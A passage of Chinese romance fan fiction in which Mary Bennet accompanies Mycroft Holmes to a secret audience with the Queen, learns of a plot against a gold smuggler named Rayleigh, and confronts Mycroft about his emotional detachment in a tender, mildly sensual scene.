玛丽蹭一下就跳了起来:“我就是生气这个,我不知道为什么生气,但是我就是生气,总觉得……总觉得……不对,不是觉得,这就是监视!” 麦考福特:“或许换一个词,保护,你会更愿意一些?” 玛丽双手环抱胸口,气势十足:“都是一样的行为,不能因为换了个名字,就显得这种行为好上一丁点,你为什么要监视221B?” 麦考福特叹了口气:“因为你和夏洛克都住在这里,玛丽小姐,请相信我,或许你更该称呼这种方式为……保护,你知道为什么夏洛克会被房东赶出蒙塔古街么?” 玛丽摇摇头:“怎么忽然提起这个?不是因为那位房东先生脾气不好么?” 麦考福特无奈的解释:“虽然作为夏洛克的兄长,我很高兴他在自己的职业上有所建树,但是他确确实实经常遇到一些危险,蒙塔古街因为夏洛克得罪过的人,爆炸了两次,烧了五次,被偷盗不知道多少回了,夏洛克十几岁刚从学校毕业,投身伦敦的时候,前两年的收入基本都用来赔偿给房东了。” 玛丽听的整个人都愣住了:“爆炸!” 麦考福特点点头,顺势牵住玛丽的手,刚才这位小姐可是把手藏得好好地,一点都不让碰呢。 “所以他被赶出蒙塔古街,实在是不能全部归咎于房东的脾气不好,毕竟自己的房子被炸上几回,烧上几次,确实很难拥有一副好脾气。” 玛丽想起那位房东先生,现在想来,他不待见夏洛克,确实是理所应当了。 麦考福特继续解释:“他是我的幼弟,我自然有责任,有义务保护他的人身安全,同样的,你作为我心爱的小姐,我自然也有责任和义务,保护你的安全,更别说那些危险大部分都是因为我的缘故,这是我应当做的,为了让你更自在的生活,我应当将那些危险隔绝在你的生活之外,你说是吗?” 道理似乎是这么个道理,但是玛丽还是觉得有些不对劲。 眼看着玛丽似乎被自己说晕了,麦考福特赶紧岔开话题:“而且,让你换一套衣服,也是因为见你的人,确实不同寻常。” 玛丽冷哼一声,充满了不屑:“是谁?难道还是女王陛下吗,除了女王,谁来见我,我都不会讨好她的。” 麦考福特忽然笑了:“那为什么会讨好女王陛下呢?” 玛丽有点不自在:“嗯,大概因为,英镑上有她的头像?” 麦考福特起身走到门口:“那你最好现在就换上一套衣服了玛丽小姐,因为稍后正是英镑陛下见你。” 英镑?陛下? 玛丽捂住嘴差点尖叫出声! 女王陛下要见她?!为什么? 玛丽:“为什么!” 没忍住,玛丽大声问道,问出话来才发现自己的声音都变得尖利了,简直不像是平常的她。 但是那可是女王陛下呀! 麦考福特拍了拍自己的口袋:“恐怕和纸条上的信息有关……也和我有关。” 玛丽立刻回过神来,和露易丝她们偷的那些东西,听到的那些消息有关么…… 既然是觐见女王,那衣服确实需要换一下了。 玛丽在房间里换衣服,束腰穿到一半,又走到门口,拉开门缝,麦考福特先生正在客厅的沙发上等待,玛丽小声的呼唤着:“麦考福特先生?麦考福特先生!” 麦考福特本来坐在背对卧室的沙发上,听见呼喊就起身回过头,发现门缝里露出个小脑袋:“可以帮我喊一下安娜么?我……我一个人穿不了束腰。” 玛丽显得有些烦躁,束腰绑在身上的感觉很不舒服,自己折腾了半天也没穿好。 麦考福特忍着笑前去呼唤安娜。 在安娜的帮助下,玛丽才算装扮完成,一件衣服套着一件衣服,一条裙子套着一条裙子。 玛丽感觉自己都要喘不上气了,忍不住抱怨起来:“如果妈妈知道有朝一日我会这么认真的穿着全套礼服,她会很感动的。” 安娜帮着玛丽绑好束腰:“可是您这么装扮起来,好看极了。” 玛丽不高兴的撇撇嘴:“就这一回。” 等到玛丽装扮完成走出卧室的时候麦考福特不得不承认,天蓝色的裙子衬得玛丽好看极了,简直惊艳,安娜的手艺不错,将玛丽的头发都梳的很好看。 马车就等在楼下,麦考福特留了十几个人守在这里,保证露易丝不会受到任何危险,玛丽才算放心的跟着麦考福特先生一起离开。 一路上两人都没怎么说话,开到半路,玛丽忽然惊呼一声:“我的天哪,我差点忘了,夏洛克说下午会带一位雇主前来的。” 麦考福特打开怀表看了一下,已经临近一点半了:“放心吧,我已经安排了人手,夏洛克下午会好好招待那位先生的。” 玛丽皱了皱鼻子,好吧,料事如神的麦考福特先生。 马车一直行驶到郊外的一座宫殿,外围巡逻的护卫队各个都人高马大,看上去威风凛凛。 玛丽现在能稍微理解莉迪亚的审美了,这样的红制服军队看上去,确实有一番帅气。 麦考福特带着玛丽一起进入,玛丽挽着麦考福特的胳膊,来到一个空余的会客厅。 管家先生送上来一杯热茶,让他们稍稍等待。 幸好没有等待很久管家就带领他们觐见了女王陛下。 女王陛下看上去很是和蔼,和麦考福特你来我往的说了许多,似乎只是闲话家常。 玛丽一直在偷偷打量她,陛下看上去优雅又端庄,确实是一个十分和气的老夫人。 只是常年掌握了权势的人,身上是带有一种平常人无法拥有的气势,女王陛下虽然行为举止看上去都十分有礼,但是那不容辩驳的命令式语气,确实让人感受到一丝压力。 “这位就是班纳特小姐?” 玛丽听见自己的名字,连忙蹲身行礼,麦考福特站在一边,静静地微笑。 女王微笑着看了一眼:“真是一位可爱活泼的淑女。” 玛丽觉得别扭极了,从来没人夸过她是一位“淑女” 女王陛下看了眼柔声询问了玛丽的家庭,得知她只是一个平凡又普通的乡绅家庭,又夸奖她的父亲母亲将她教育的很好,询问她的家在哪里,又夸奖乡村风情。 似乎只是闲聊? 玛丽心里十足的纳闷。 接下来女王请管家送她去会客厅等待,管家将她安排到之前的会客厅,玛丽一边喝茶,一边吃蛋糕。 等了一个多小时,麦考福特才面带微笑的走出了房间,玛丽发现麦考福特又带上了那副面具,整个人看上去严肃又克制,他在克制自己的……愤怒? 一直等到离开宫殿,玛丽还在奇怪。 等到马车回去伦敦的路上,已经是下午四点多,玛丽好奇的看着窗外的风景:“是发生了什么?为什么女王陛下要见我?” 麦考福特的手指一下又一下的敲击在膝盖上,女王陛下安排此次会面,是私人的,是不公开的,是一场秘密见面。 玛丽什么都不知道,但是麦考福特却忍不住心脏紧缩了一下。 麦考福特:“因为你很特殊。” 玛丽有些奇怪:“特殊?” 她有什么特殊的?她只是一个普普通通的小女孩,对女王来说。 麦考福特点点头:“是的,因为你是我心爱的人。” 玛丽忍不住皱起眉头:“麦考福特先生,不要总是试图用甜言蜜语搞晕我,我在很认真的询问你,你这样一说,显得女王陛下,将我当做你的附属品,你的宠物,是因为你,才召唤我前来看看么!” 这番话真是好大的罪行! 但是玛丽下意识的只能想到这样的形容。 明明女王陛下的态度很和蔼,可是玛丽却开始讨厌起她这样轻视自己的态度了! 麦考福特低下头,抚摸过玛丽的手腕。 玛丽还在生气,可是麦考福特却托着玛丽的手腕,放在自己的脖颈之上。 麦考福特;“不,你不是我的附属品,玛丽。” 玛丽想要缩回手:“难道女王没有这样的意思么,亏我还觉得她是个和蔼的女士!” 麦考福特抓着玛丽的手腕,她的手指就掐在那脖颈的血管之上,指尖都能感受到心脏跳动带来的触感。 玛丽莫名感到一丝冷意,麦考福特先生的表情带着一丝残忍的满足,让人难以理解微笑。 麦考福特:“玛丽小姐,对女王陛下来说,我是一把好用的刀,一条会随时冲着敌人龇牙咧嘴的恶犬,而你,玛丽小姐,女王想要确定,你是否会成为她牵住我这条恶犬的绳索。” 握紧了玛丽的手,麦考福特能感觉到玛丽颤抖的指尖,一点点跟随他手指的力量,扼住自己的喉咙。 轻微的窒息,仿佛被套上一根项圈。 麦考福特冷笑起来。 女王忌惮他对于内阁议会的影响,利用他,又想控制他。 而玛丽,女王想要确认,玛丽是否可以成为那根牵住他的绳子。 72 第72章 玛丽的指尖忍不住的颤抖,竭力想要松开自己的手,可是却被麦考福特控制,一点点的用力,眼看着麦考福特先生在紧紧地勒住自己的脖子,脸颊逐渐涨红,晕产出一片血色。 似乎看出玛丽的害怕,麦考福特最终松开了自己的手掌,玛丽立刻将手缩了回去,看着麦考福特先生逐渐褪去血色和青筋:“你要做什么!” 麦考福特单手解开最顶端的两枚衬衫扣子,露出凸起的喉结,喉结上下滚动,似乎在吞咽什么。 只有麦考福特自己知道,他此刻是多么的愉悦:“玛丽小姐,你恐怕不知道,此刻我有多么愉快。” 玛丽简直要气疯了,一巴掌打在麦考福特的胳膊上:“愉快,你简直像是夏洛克吸多了尼古丁!简直疯了,快让我看看,你的脖子还好吗!” 扯开领衬衫口子,玛丽左右查看麦考福特先生的脖子,天知道她根本不敢用力,甚至一直在挣脱,可是指甲尖还是在皮肤上留下了掐痕迹。 玛丽:“你要做什么,你吓死我了!” 生起气来,玛丽又锤了麦考福特的肩膀一下。 麦考福特只觉得快活:“玛丽小姐,牵引一条恶犬和女王陛下对峙的感觉如何?” 玛丽眼睛都泛着红:“什么恶犬,你是麦考福特先生,你是一个人,别把你们这套放在我身上,你对我来说,是我热爱的先生,可不是什么恶犬!我也不想和她对峙,她根本就是个老糊涂蛋!” 似乎觉得这样说女王不太好,玛丽声音变得小了一些,嘀嘀咕咕的抱怨起来:“就这样随便把我们喊过来,又打发走,真是讨厌!” 麦考福特拉住玛丽的手,让她坐在自己的腿上:“可不是随便,玛丽小姐。” 玛丽这会可不想搭理麦考福特先生,气呼呼的将头扭到一边。 麦考福特轻轻的啄吻着她的发顶,自从感受过玛丽小姐的甜蜜滋味,麦考福特真是恨不得时时刻刻将她拥入怀中:“好小姐,如果你不愿意搭理我,我该怎么和你解释这一切,说明此行的结果呢?” 玛丽被一个又一个的亲吻安抚了情绪:“说明?说明什么?她似乎没有说什么?” 书籍引导人向善,书籍引导人追求真理,但是从没有哪本书籍,会教导别人,如何玩弄政治。 麦考福特握着玛丽的手,这一番动作让玛丽有点害怕,生怕麦考福特先生忽然发疯,又要用她的手掐住脖子之类的,结果麦考福特先生只是捏着她的手指,一下下的抚摸着。 玛丽靠在麦考福特先生的怀里:“她说了什么吗?还有,那个纸条是什么意思?” 麦考福特想了想,决定先从纸条说起:“那是一个数字,3000,你看到了对吗?” 玛丽点点头,毛茸茸的脑袋蹭到麦考福特的脖子,有些发痒。 麦考福特轻笑了一声:“你觉得,这3000代表了什么?” 玛丽想了一会:“不知道,露易丝什么都没说……” 麦考福特在玛丽看不见的角度,扯起嘴角露出一丝笑容,带着血腥的气味:“代表,他死定了。” 玛丽一下子抬起头,结果撞到了麦考福特先生的下巴,两个人,一个捂着脑袋,一个捂着下巴。 原本麦考福特的脑袋里还想着,要如何让雷利死的更凄惨一些,结果画面刚起了个头,就被玛丽小姐一脑袋撞碎了。 麦考福特实在憋不住,笑了起来。 玛丽抱着脑袋急匆匆的继续追问:“你先别笑了,真是讨厌,你怎么一直在和我打谜语似的,快和我仔细说说!” 麦考福特继续解释道:“之前雷利逃脱制裁,是因为恰逢两党斗争,关于反法战争是不是要继续支持的问题,你知道,法国打的如火如荼,周边国家都被打的差不多了,英国和法国自有英吉利*海峡作为天堑,反对党希望我们可以尽快脱离战争的泥沼,毕竟国内的情况大家都看得出来,如果不尽快退出,恐怕国内的经济生活会更快摧毁我们,相比于所谓的帮助法国皇室平定内乱,反对党更想专注于国内。” 玛丽点点头:“这是好事啊……毕竟这些年因为反法战争的缘故,死了太多人了,还有国内许多人都被征召,很多地方正缺人手呢。” 麦考福特:“并不是这样的玛丽,工厂缺人手,可是工业机器并不会停止转动,压迫底层的工人增加工作时间,要比减少机器产出更容易,工厂生产了源源不断的商品,可是英国就这么大,能消费的起的人就这么多,英国需要殖民地,需要海外市场,这场仗,不是在帮法国打,是在给英国未来的市场打。” 这就属于玛丽的知识盲区了,她抬着头,眼神亮晶晶的看着麦考福特先生,期待他能解释的更多。 麦考福特继续解释:“前些年那个法国人推出了大陆封锁政策挑战英国在欧洲的控制权,这场仗,哪怕不能赢,也要拖住,雷利就是利用这一点,他捐助了很大一笔资金,用于支持战争,能够用别人的钱袋子给自己打仗赚取利益,女王陛下当然可以容忍他那些可笑叛国,可是现在不行了……” 玛丽:“现在不行是什么意思?” 麦考福特拍了拍自己的口袋。 玛丽的腿就靠近那个位置,下意识的用膝盖撞了两下:“纸条?” 麦考福特深深的看了眼玛丽:“是的,3000磅的黄金……他私自开挖的黄金,他知道自己经过之前的事情在英国会被女王关注,所以妄图将私自挖掘的黄金运送到国外。” 玛丽不敢置信,这辈子她都没听过这种计量单位的黄金呀! 麦考福特都觉得雷利疯了,私自开挖黄金:“他在苏格兰有一个矿业公司,表面上是挖掘煤炭石英之类,实际上那里有一条黄金矿脉,他既想要在英国赚钱,又不想为英国承担任何责任,害怕受到女王的监管。” 玛丽:“我的上帝……他疯了……” 麦考福特点点头:“他以为,女王需要他的钱,就会纵容他的在英国这片沃土的放肆收敛,现在女王认为他已经有些贪婪到不知所谓了,而且根据我们核查的消息,似乎一直有个在法国的人帮他出谋划策,他之前和莱格斯的胡闹行为,正是出于那个法国人的主意。” 玛丽抓着麦考福特先生的衬衣:“可是,可是他,女王要如何惩罚他呢,之前的那么大的罪,不是赦免了吗?而且……对了,我之前检查的账册里,有一本关于威尔士矿业公司的,根本没有任何证据可言呀,还有那个法国的人,是那个什么将军么?” 麦考福特觉得玛丽此时此刻正是单纯的可爱,她竟然有如此干净的想法:“不是,雷利只是在口头提过一次,从没有信件之类的证据,说回雷利吧,玛丽小姐,你知道女王会如何杀死一个人么?” 玛丽有些茫然:“什么意思?我不明白……” 麦考福特看着窗外:“玛丽小姐,女王今天见我,是为了确保我一定会让首相签署某项协议。” 玛丽颤抖着手,忽然一个灵光炸现:“军队!” 女王可以毫无争议的要求使用军队,虽然这一权力被议会制约,但是,当女王和议会商量好了呢? 麦考福特就是那个关键的环节,女王要保证,她能够完全拥有一段时间的军队使用权利。 这是属于两个人共同合作后的,终极执行手段…… 女王陛下决不允许有任何一枚没有她头像的黄金,从她的国土流失。 玛丽:“所以说,我们努力那么久,实际上还不如女王陛下的一句话么?当她想要雷利活着,哪怕他作恶多端,他依然可以活着,一旦她想要雷利死,雷利就一定会死,是么?可是……可是这不是一个有德行的女王该做的事情,如果她无法用道德约束自己,凭什么发行那些所谓的绅士淑女的行为指南,要求所有人按照模板生活呢!” 麦考福特沉默了一会:“玛丽小姐,如果不把人规范成一个模样,政府该如何治理这个国家呢?或许这么说你会很难过,但是此事无关道德,无关对错,只是一个政治选择。” 玛丽哑口无言,她看不起那上所谓的道德规范书籍,觉得把人都教傻了,但是不可否认,她依然遵循一套自己的行为逻辑,她只是愿意让自己在不伤害别人的前提下,做一个快活的人,可是总体上还是一个善良的人。 而女王今天逼迫麦考福特揭开了他黑暗世界的一角,政治独立于道德之外,他早已习惯的这些东西,是玛丽从没看过的世界。 今天女王陛下非常和蔼的,亲切的,和他进行了一番非正式的讨论。 临出门的时候,女王对于两人全面而坦率地交换了意见,从而提出了一系列计划,希望依此推进之后,得出某种结论,无论过程正确与否,都能达成双方均满意的解决方案表达十分的欣赏。 简而言之,双方达成了交易。 这样的交易本该私下,两个人进行,可是女王不容辩驳的要求麦考福特将玛丽带来。 王室管家甚至送上了一套礼裙,这是隐晦的提点麦考福特,女王陛下对于玛丽做过全面的了解。 麦考福特在议会的影响力从来都是公开的秘密,女王陛下使用他也使用的很顺手,他是女王和议会的桥梁,是落寞皇权和冉冉升起的资本家们的缓和带。 女王不希望他成为别人手里的恶犬,这条狗,甚至可以不听她的,但是决不能听从其他人。 玛丽重要也不重要,这只是一个小小的提点。 希望麦考福特谨记自己的身份,同样,对于玛丽而言,她能否接受这样一个麦考福特? 是顺从权力,亦或者…… 73 第73章 回到贝克街之后玛丽甚至没有心情再去面对夏洛克带来的雇主先生,只能委托夏洛克与这位雇主先生谈一谈薪资,她完全信任夏洛克。 至于麦考福特先生,玛丽认为自己有需要和他谈一谈。 房间里两人对坐着,玛丽捧着一杯热茶,在思索自己该如何开口。 麦考福特则显得有些漫不经心一般,甚至整个人都很放松的舒展着身体。 想了一会,玛丽决定放弃那些所谓的华丽措辞,决定直抒胸臆的表达出自己的想法:“麦考福特先生,你为什么要漠视自己的人性呢?” 在马车上的对话,让玛丽只能想到这个问题,麦考福特形容自己是恶犬,表达自己道德的缺失。 他是道德真空地带。 麦考福特似乎很诧异玛丽问出这个问题,一时之间没有答话。 玛丽也没有等待麦考福特先生的回答,继续诉说自己的感受:“你似乎把自己剥离开来了,把自己的灵魂思想和□□行为剥离开,你就像是……一个旁观者。” 麦考福特不得不承认,玛丽很敏锐。 玛丽低着头,看着杯子,她有些不敢去看麦考福特先生的表情:“你只是旁观所有的事情发生,推动事情往似乎正确的稳定的道路上走,摈弃了作为人更道德的一面,或者说,更具人性的一面……仿佛越是正确的事情,你越是坚持,并且告诉自己是对的,你却不去感受,正确的事情背后是不是会给你带来痛苦……就好像这样就不痛苦了一样……我不知道是不是我感受错了,我认为你总是不高兴,总是愤怒……是因为这些事情么?” 麦考福特调整了自己的坐姿,他现在开始严肃的面对这场谈话了…… 玛丽:“我不知道你发生过什么,你只是……旁观一切事情发生……” 说到这里,玛丽有些难受,虽然不敢去看麦考福特先生的表情,但是玛丽放下杯子,绕过了小桌,来到麦考福特的面前给了他一个拥抱:“你把自己弄丢了嘛?” 麦考福特的双臂甚至有些颤抖,他环抱着玛丽弱小的身躯,玛丽说对了,他把自己的灵魂弄丢了。 玛丽:“你一直在做别人身份认同中,所谓正确的选择,就好像上学的时候,老师认为你该考第一名,做政治家的时候,女王认为你该摒弃道德,去给她的利益服务。可是那是别人期待的选择,你呢?你自己内心的想法呢?” 麦考福特沉默了一会,声音都带着一些嘶哑:“我不知道。” 从小他作为长子,就是深受父母的期待,他的父亲是一个大学教授,后来选择回到家乡,做一个普通的乡绅,他的母亲是一个和善又普通的女人,他们竭力提供了一个温暖的平凡的家庭,在发现他颇有一番才能之后,父亲对他表现出了一定的期待,希望他能有一番建树,母亲在拥有夏洛克之后,也期待他作为长兄,可以好好照顾自己的幼弟,互相扶持。 他一直在做父母期待的事情,一直在做社会期待的事情,一直在做一个别人眼中,聪明人该做的事情。 可是他一直到不知道,自己想做什么,做任何事情都轻而易举,当他上学的时候,非常轻松就能获得所有学业的第一名,当他投入政坛,也平步青云。 可是他快乐么?并不,他甚至感到愤怒……甚至在青少年的一段时间内,他都不知道自己在愤怒些什么。 玛丽说出了他愤怒的原因,他不知道自己想做什么,他无法感受到,自己内心的需求。 他只是这个世界的旁观者…… 现在玛丽牵住他的手,如同握住了他的灵魂:“麦考福特先生,你是一个人,是我爱着的先生,你不是一个冰冷的机器,更不是被别人利用的恶犬。” 麦考福特沉默的将自己的头靠在玛丽的肩膀处。 玛丽将他的手放在自己的脸颊上:“感受到了么?” 麦考福特温柔的捧起玛丽的脸庞,她的眼睛有些红,眼尾带着湿润的泪光:“是的,我感受到了。” 玛丽微笑着:“我的脸颊是什么感觉的?” 麦考福特轻轻的揉捏着:“柔软的,很滑腻,还有一点甜甜的香味,玛丽小姐” 玛丽用脸颊磨蹭着麦考福特的手掌:“你愿意摸摸我的头发吗?” 麦考福特顺着玛丽的指引,再去触摸着她的发丝:“是柔顺的,玛丽小姐。” 玛丽嘟着嘴在麦考福特的唇角落下一个吻:“这个吻呢?” 麦考福特捧着她的脸亲吻了回来:“是甜的,你柔软的嘴唇让我尝个没够,玛丽小姐” 玛丽笑着和麦考福特亲吻:“那你喜欢面前的这位小姐么?” 麦考福特在玛丽的额头,眼睛,鼻子还有唇瓣落下一个又一个的吻:“是的,我深深地爱慕着眼前这位小姐,你聪慧又敏捷,眼睛里永远充满一股子活泛的生气,总是热情洋溢,对这个世界充满快活的喜悦的好奇心,你总是闪闪发光,让我不得不注视你。” 玛丽:“我也喜欢你先生,你总是让我安心,那么可靠,坚韧,总是能解答我的一些疑问,你的臂膀粗壮又有力气,你的声音也好听,我喜欢你说话的声音,还有你的胸膛,那么宽阔,眼睛是烟灰色的,像是凌晨太阳升起前的星夜。” 每说一个地方,玛丽的手掌就会抚摸到哪里,她的指尖带着灼热的温度,从臂膀,胸膛,喉结,一直到麦考福特的脸上,轻轻的摸着他的眼睛:“这么多这么好的优点,你可不是冷冰冰的机器,也不是什么毛茸茸的小狗。” 麦考福特能感觉到自己的灵魂似乎都在随着指尖的滑动而颤抖,原本飘飘荡荡的灵魂,重新落在这片身躯之中,他不再是一个旁观者,他被真真切切的看见,玛丽小姐看见了他。 眼眶都带着一股酸涩,麦考福特想要压抑这种情绪。 可是玛丽敏锐的察觉到了,她直直的看着麦考福特的双眼:“你喜欢我这么抚摸你么?喜欢我这么亲吻你么?” 麦考福特的胸膛不断的挺起又落下,他一次次的深呼吸,但还是无法控制自己的唇角飞扬起来,麦考福特在玛丽的唇瓣上研磨着,舌尖一次次的轻轻舔舐,抓着玛丽的手,放在自己的心口,那里咚咚咚的跳动,仿佛下一秒就要跳出来。 含含糊糊的声音从两个人的吻中破碎的滚动而出:“是的,我喜欢你这么触摸我,这么亲吻我,我更喜欢这样亲吻你,玛丽小姐。” 玛丽拥抱着麦考福特的脖子,从侧坐在他的身边,转而跨骑在他的腿上:“我也喜欢你的亲吻,虽然你总是把我吻的晕乎乎的,但是我喜欢这种晕乎乎的感觉,你也喜欢的对吗?” 麦考福特的双手落在玛丽的腰上,轻轻用力就将她抬起,然后拉进自己,原本两人还间隔了一个拳头的距离,现在玛丽已经完全贴在他的身上了:“是的,我喜欢,我喜欢这样拥抱你,将你完全的,彻底的拥抱在怀里,就像是你属于我一样。” 玛丽的心跳也有些急促,她紧紧地抱着麦考福特的脖子:“就像你也属于我,我们是属于彼此的,你是我的麦考福特先生。” 麦考福特用力的拥抱着玛丽,怀里柔软又炽热的身躯,像是一团火,不只是身体的接近,玛丽的灵魂,也在拥抱他。 玛丽安静了一会,开始亲吻麦考福特先生的脖子和耳朵,想要逗他痒痒一样。 麦考福特抱得更加用力了,玛丽咯咯咯的笑着,在他怀里扭来扭去:“你有点太用力了麦考福特先生,我知道你很喜欢我,但是我不太喜欢你这么用力的拥抱我,你让我喘不上气了。” 玛丽扭来扭去,结果麦考福特忽然按住她的腰,忍不住的喘起粗气。 麦考福特的手背都泛着青筋,呼吸都打着颤:“玛丽小姐……” 他不知道该怎么解释,玛丽坐在他的腿上,两人靠的那么近,她不可能毫无感觉。 玛丽脸颊有些泛红:“啊,麦考福特先生……” 麦考福特想要让她坐到一边,他此刻太狼狈了。 玛丽却反而扭动着,挣脱开他的手:“你不需要对我隐瞒,麦考福特先生,你喜欢我,这很正常,这是你作为一个人的正常……情况。” 麦考福特脸色带着一丝迷离,玛丽小姐在说什么! 玛丽镇定的点点头,虽然她耳朵通红,脸颊都泛着红晕,但是她双手搭在麦考福特的肩膀上,一脸的镇定:“我看过《妇女史》,里面有介绍过,这是男人的正常情况,男女有差异的部分,我能理解的,我看莎士比亚的爱情故事里,相爱的人总是希望能帮上对方,体会对方的,有什么我可以帮你的么?这个和书里一样么?和上次一样么?让你靠在我的腿上,靠一会,它就会平静么?还是说需要我做什么?书里没说我该怎么做?” 麦考福特脑袋都要炸开了,第一次感觉到是那么的手足无措,特别是玛丽小姐颇有一番学术研究的意思,好像准备写出一本报告来一样,她一连串的问题砸的麦考福特头晕目眩。 下一秒玛丽甚至扯起了自己的裙摆:“这礼服裙子太厚重了,我可以掀起来两层,这样就和上次的裙子一样厚度了。” 麦考福特迅速的压下她的手:“不,玛丽小姐,不用……” 刚才玛丽甚至都露出衬裙了,那衬裙轻薄如蝉翼,女王陛下送来的礼服裙子确实制作精良,麦考福特打赌,他刚才都能透过衬裙看见大腿袜顶端的丝带…… 上帝,她可真是一个恶魔小姐,她怎么可以这样无知无觉的玩弄一个爱慕着她的可怜先生。 麦考福特一只手拥抱着玛丽的腰部,让她安静的靠在自己的怀里,另一只手却做了它自己的主,放在了玛丽的腿上。 哦,顶端甚至绑了个蝴蝶结…… 74 第74章 麦考福特几乎是拿出了全部的精力才能克制自己不要做出一些不该做的行为,脑子里僵硬的不敢有任何念头,把自己当做一个柱子,一把椅子,一个随便什么东西都行,只要别是一个男人。 可是玛丽小姐温温柔柔的抚摸着他的脸颊,他的鬓角,还十分热情的亲吻着他的唇瓣。 她快活的笑声恍若最美妙的音乐,每一下音符的跳动,都在挑战他作为人的本能,就连自己额角蹦起的青筋,都被玛丽小姐当做可爱的小玩意,她的指尖顺着经络一点点的抚摸着:“麦考福特先生,你的血管可真粗壮!” 麦考福特忍耐的实在是痛苦,几乎是掐着玛丽的腰肢,将她所有的惊呼都吞咽了下去。 感恩女王,玛丽穿着厚重的礼服,隔着束腰他只能抚摸到鲸鱼骨的束腰支架。 玛丽小姐像是抱着农庄里的小羊,麦考福特先生的头发带着一点点的卷,和夏洛克一样,平日里总是用发油梳成背头,此时蜷曲的发丝被玛丽一双手胡乱揉搓着,看上去乱糟糟的。 后脑勺的发丝还倔强的伸出几根,纠缠着玛丽的手指。 玛丽的指尖打着圈的把玩着手感上佳的头发,压根没发现麦考福特先生的喘息声越来越沉重。 等到玛丽因为感觉大腿上越来越滚烫的触感,很不舒服,想要用手挪开,结果刚碰上去就被麦考福特先生掐着腰抱了起来,直接将玛丽带进了卧室,让她坐到床边上。 玛丽惊呼一声,整个人都摔倒在了被窝里:“麦考福特先生!” 麦考福特脸色涨红,整个人都变得滚烫:“玛丽小姐!实在是!这实在是!” 玛丽刚坐起来,又被捂住眼睛,生气的揉着自己的腰:“麦考福特先生,你把我弄疼了!!” 麦考福特一个字都听不下去了,他现在脑子里肮脏的和那些贵族没什么两样。 玛丽小姐何止在找回他的人性,简直把把他人性的部分塞满了。 麦考福特几乎是咬牙切齿,牵着玛丽的手腕,让她自己捂着眼睛:“别拿下来,玛丽小姐!” 玛丽虽然奇怪,但还是听从了麦考福特的命令,嘟着嘴在哪里嘀嘀咕咕,两支脚搭着脚后跟,高跟的鞋子用的是小羊皮做底,丝绸的鞋面上还镶嵌了宝石,细带用的蕾丝漂亮极了,此刻这双漂亮的小高跟哒哒哒的互相敲击着,玛丽的鞋跟抵在地上,鞋尖哒哒的互相碰撞在一起。 麦考福特拿起一边的衣服,挡住自己,上半身只穿了马甲和衬衣,胳膊上的肌肉都绷起来了,显得特别有力气,但是麦考福特只是靠着墙壁,努力的深呼吸着,背后都被汗水濡湿。 玛丽用手捂着眼睛,小嘴还在叭叭叭的说着话:“麦考福特先生,你好了么?” 麦考福特坐在对面:“没有……” 玛丽:“那我们要说说话么?我总不能这样一直捂着眼睛发呆,太无聊了。” 麦考福特听着玛丽叽叽喳喳的说话声,只恨自己为什么没捂住她的嘴,一想到这里,麦考福特额头的青筋都跳了跳,刚才捂住嘴的结果,就是他整个人都差点失控。 玛丽:“你还没好么?麦考福特先生,你还在么?” 麦考福特捂着头:“我还在,玛丽小姐,请让我安静的待一会。” 玛丽的声音立刻一蹦三尺高:“我不喜欢这句话!” 麦考福特立刻求饶,换了措辞:“求求你,好心的小姐,你的声音会刺激到我,请别让我这么狼狈。” 玛丽这才好心的放过麦考福特:“好吧,不过你得快点,我还想问问其他的事情呢,还有露易丝的事情,我们是不是得尽快和布朗夫人那边说?我不知道怎么联系她,你知道吗?还有玛格丽特,我得和她们说这个好消息……好吧,也不能算完全的好消息……” 麦考福特无奈,玛丽小姐一连串叽里咕噜的问题,他的大脑一边是海水,一边是火焰,一边在思考所有的事情要如何推进,一项项办妥,一边是极尽肮脏下流的想法。 玛丽坐的有点累了,干脆躺倒在了床上,两条腿晃晃悠悠的,裙摆一下又一下的被小腿踢开,又再次落下,像是张开又合拢的花苞。 每一次裙摆飞扬,都会露出衬裙的花边,蕾丝,鞋带上的蝴蝶结,长袜上针织的花纹。 那一圈圈的花纹缠绕在小腿上,麦考福特闭上双眼,让自己不再去看。 玛丽无聊的滚来滚去:“好了吗好了吗?麦考福特先生,你怎么这么久?上次你平静下来,也没怎么久呀?” 麦考福特实在是克制的辛苦:“我需要去收拾一下……” 说完转身出了卧室,直奔盥洗室而去。 玛丽听见开门声,还以为麦考福特先生出去了,结果只看到他进了盥洗室的背影。 真是奇怪?是要上厕所么?玛丽这么想着。 实在无聊,玛丽决定看一会书,等麦考福特上完厕所了再说刚才询问的事情。 等了好一会,麦考福特整个脑袋都像是水洗了一般,头发都湿透了,脸和脖子上也都是水。 玛丽手里还拿着约瑟夫普利斯特里的著作,从书本后歪出个脑袋:“难道你在里面洗了澡么?” 麦考福特几乎将整个脑袋都泡在冷水里,此刻他终于冷静下来,脸色变得十分平静:“说说刚才的问题吧,玛丽小姐。” 玛丽立刻将书本放在一边:“对对对,聊聊刚才的问题。” 麦考福特刚才已经想了一些情况:“这件事的筹备至少需要半个月,女王不想要调度伦敦本地的军队,想要从约克调度,伦敦这里人员互相之间串联消息太多了,怎么都要筹备半月左右,至于布朗夫人和玛格丽特夫人那里,最好等尘埃落定了再告诉她们。” 玛丽盘算了一下:“这么说来,我还是可以回去过圣诞的了?” 麦考福特听到这里点点头:“是的,怎么都要圣诞节之后了。” 玛丽没忍住,冷哼了一声,带着点气愤:“好吧,那就在给那个雷利最后一个圣诞节的时间。” 军队调度事宜麦考福特并不打算和玛丽说很多。 听到她提起圣诞节,麦考福特将话题岔开到圣诞节上:“打算回家住多久呢?” 玛丽盘算了一下时间:“差不多也要半个月左右,圣诞节舅舅和姨妈都会来,我们还要互相拜访,妈妈估计会带着简好一番炫耀呢。” 一想到简很快就要和宾利先生结婚,玛丽有些难过,家里最大的姐姐就要离开她们的家庭,去往自己的新家庭了:“幸好简就在内瑟菲尔德,以后我们可以经常见面,对了,麦考福特先生,你知道伦敦有哪里的房子比较适合购买么,能不能别太贵的?” 麦考福特思索了一番:“核心区域的话,克莱肯威尔和肖尔迪奇还不错,但是那里房子会稍微贵些,布卢姆斯伯里或许会更适合你,哪里是许多学校教授和学生们的首选,房屋价格也并不昂贵,如果是要购买带花园的独立别墅,大约在1500英镑上下浮动,如果是联排房屋,大约只需要500英镑左右。” 这个数字还算可以接受,玛丽盘算了一下,她的嫁妆有1300英镑,原本只有1000英镑,但是之前建议父亲做了一些投资,均算下来,几个姐妹每个人多分300英镑,还是可以的。 这样的话,她们将来就有1300英镑的嫁妆了,但是这笔钱她并不打算提前动用。 玛丽:“那我就努力攒够500英镑,等我买下房屋,咱们再结婚吧。” 